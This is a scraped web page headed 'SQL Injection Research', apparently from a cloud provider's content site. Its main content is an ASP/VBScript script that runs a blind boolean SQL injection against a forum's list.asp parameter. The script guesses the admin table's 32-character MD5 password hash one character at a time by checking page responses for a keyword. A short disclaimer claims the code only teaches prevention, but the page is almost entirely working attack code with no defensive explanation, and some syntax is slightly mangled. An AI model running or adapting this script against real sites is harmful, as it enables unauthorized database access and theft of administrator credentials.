SQL Injection Research

Source: Internet
Author: User
Tags exit chr regular expression sql injection
' Do not use for illegal purposes, this code is just to let the vast number of ASP enthusiasts understand the principle of prevention in the bud.

Function Bytes2bstr (vIn)
Dim Strreturn
Dim I,thischarcode,nextcharcode
Strreturn = ""
For i = 1 to LenB (vIn)
Thischarcode = AscB (MidB (vin,i,1))
If Thischarcode < &h80 Then
Strreturn = Strreturn & Chr (Thischarcode)
Else
Nextcharcode = AscB (MidB (vin,i+1,1))
Strreturn = Strreturn & Chr (CLng (thischarcode) * &h100 + CInt (nextcharcode))
i = i + 1
End If
Next
Bytes2bstr = Strreturn
End Function

function gethttppage (URL)
Dim http
Set Http=createobject ("MSXML2. XMLHTTP ")
Http.open "Get", Url,false
Http.send ()
If Http.readystate<>4 Then
Exit function
End If
Gethttppage=bytes2bstr (Http.responsebody)
Set http=nothing
If Err.number<>0 then err. Clear
End Function



Function regexptest (PATRN, STRNG)
Dim regEx, RetVal ' Set variable.
Set regEx = New RegExp ' establishes a regular expression.
Regex.pattern = Patrn ' Set mode.
Regex.ignorecase = False ' Sets whether case sensitive.
Regexptest = regex.test (strng) ' performs a search test.
End Function



Password= ""
keyword= "Forum Home" ' Returns the string that appears on the correct page
url1= "http://qq/bbs/list.asp?boardid=7" SQL injection Portal
Passlen=32 ' MD5 password is usually 32-bit
Dim Pass
Pass=array (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102) ' Password values are usually 0-9,a-f



Server. scripttimeout=999
For I=1 to Passlen
Flag=false
url=url1& "and" (select ASC (Password, &i&, 1)) from admin where id>0) = "' Constructed SQL statement here's the key.
For J=0 to UBound (pass)
Str=gethttppage (Url&pass (j))
Flag=regexptest (KEYWORD,STR)
If Flag=true Then
PASSWORD=PASSWORD&AMP;CHR (Pass (j))
Exit For
End If
Next
Next



Response. Write (password)



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.